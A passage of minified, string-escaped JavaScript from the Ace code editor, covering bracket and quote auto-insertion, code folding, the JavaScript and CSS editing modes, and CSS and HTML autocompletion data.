u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/css_completions\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./css_completions\").CssCompletions,f=e(\"./behaviour/css\").CssBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.$completer=new a,this.foldingRules=new l};r.inherits(c,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,hei